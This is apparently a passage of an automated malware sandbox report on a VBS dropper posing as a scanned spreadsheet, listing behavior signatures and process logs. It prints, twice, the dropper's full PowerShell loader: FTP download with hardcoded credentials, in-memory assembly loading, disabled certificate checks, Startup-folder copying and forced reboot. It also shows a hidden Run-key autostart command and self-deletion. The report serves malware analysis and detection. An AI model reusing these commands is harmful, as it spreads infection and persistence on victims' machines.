$huUPX , 'D DD' ) );};"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0041CBE1 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,

20_2_0041CBE1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD347B0000 push esp; retf 4810h	2_2_00007FFD347B01E3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD347B708C push esi; retf	2_2_00007FFD347B71B7
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD345B00BD pushad ; iretd	4_2_00007FFD345B00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD345B0108 push ds; ret	4_2_00007FFD345B01B6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD345B0513 push eax; iretd	4_2_00007FFD345B053E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD345B018D push ds; ret	4_2_00007FFD345B01B6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD345B05F5 push es; iretd	4_2_00007FFD345B061E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD345B0347 push esi; ret	4_2_00007FFD345B0376
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD345B2358 push cs; ret	4_2_00007FFD345B2366
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD345B0327 pushad ; ret	4_2_00007FFD345B0346
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD345B06F0 push edi; ret	4_2_00007FFD345B070E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD346823A3 push 8B485F94h; iretd	4_2_00007FFD346823AB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD3468235D push 8B485F94h; retf	4_2_00007FFD34682365
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD3449D2A5 pushad ; iretd	5_2_00007FFD3449D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B00BD pushad ; iretd	5_2_00007FFD345B00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B0108 push ds; ret	5_2_00007FFD345B01B6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B851B push ebx; ret	5_2_00007FFD345B85AA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B0513 push eax; iretd	5_2_00007FFD345B053E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B84DD push ebx; ret	5_2_00007FFD345B851A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B84DD push ebx; ret	5_2_00007FFD345B85AA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B018D push ds; ret	5_2_00007FFD345B01B6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B0680 push ss; iretd	5_2_00007FFD345B071E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B0347 push esi; ret	5_2_00007FFD345B0376
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B0327 pushad ; ret	5_2_00007FFD345B0346
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B06FF push ss; iretd	5_2_00007FFD345B071E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD3448D2A5 pushad ; iretd	6_2_00007FFD3448D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD345A5CFA push ebp; ret	6_2_00007FFD345A5D16
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD345A85DD push ebx; ret	6_2_00007FFD345A861A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD345AAB77 push esp; retf	6_2_00007FFD345AAB78
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD345A8433 push ebx; ret	6_2_00007FFD345A843A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD345B00BD pushad ; iretd	13_2_00007FFD345B00C1

Persistence and Installation Behavior

Tries to download and execute files (via powershell)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yfepp = (New-Object Net.WebClient);$yfepp.Encoding = [System.Text.Encoding]::UTF8;$yfepp.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$mjdqf.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $mjdqf.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mjdqf.dispose();$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mjdqf.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.db/ssc/ezimotsuc/sedulcni-pw/moc.srekeesedutitarg.www//:sptth' , $huUPX , 'D DD' ) );};"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $JwrAL = $host.Version.Major.Equals(2) ;if ( $JwrAL ) {$uVHrT = [System.IO.Path]::GetTempPath();del ( $uVHrT + '\Upwin.msu' );$FaqoI = 'https://drive.google.com/uc?export=download&id=';$jwEmr = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $jwEmr ) {$FaqoI = ($FaqoI + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$FaqoI = ($FaqoI + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yfepp = (New-Object Net.WebClient);$yfepp.Encoding = [System.Text.Encoding]::UTF8;$yfepp.DownloadFile($URLKB, $uVHrT + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($uVHrT + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$mjdqf.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $mjdqf.DownloadString( 'ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter/01/DLL01.txt' );$mjdqf.dispose();$mjdqf = (New-Object Net.WebClient);$mjdqf.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $mjdqf.DownloadString( $lBCzSg );$huUPX = 'C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '?:?' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.db/ssc/ezimotsuc/sedulcni-pw/moc.srekeesedutitarg.www//:sptth' , $huUPX , 'D DD' ) );};"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_00406EEB ShellExecuteW,URLDownloadToFileW,

20_2_00406EEB

Boot Survival

Creates autostart registry keys with suspicious values (likely registry only malware)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_vuw cmd.exe /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit

Loading BitLocker PowerShell Module

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

20_2_0041AADB

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_vuw			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Update Drivers NVIDEO_vuw			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Self deletion via cmd or bat file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: cmd.exe /c del "C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: cmd.exe /c del "C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

20_2_0041CBE1

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
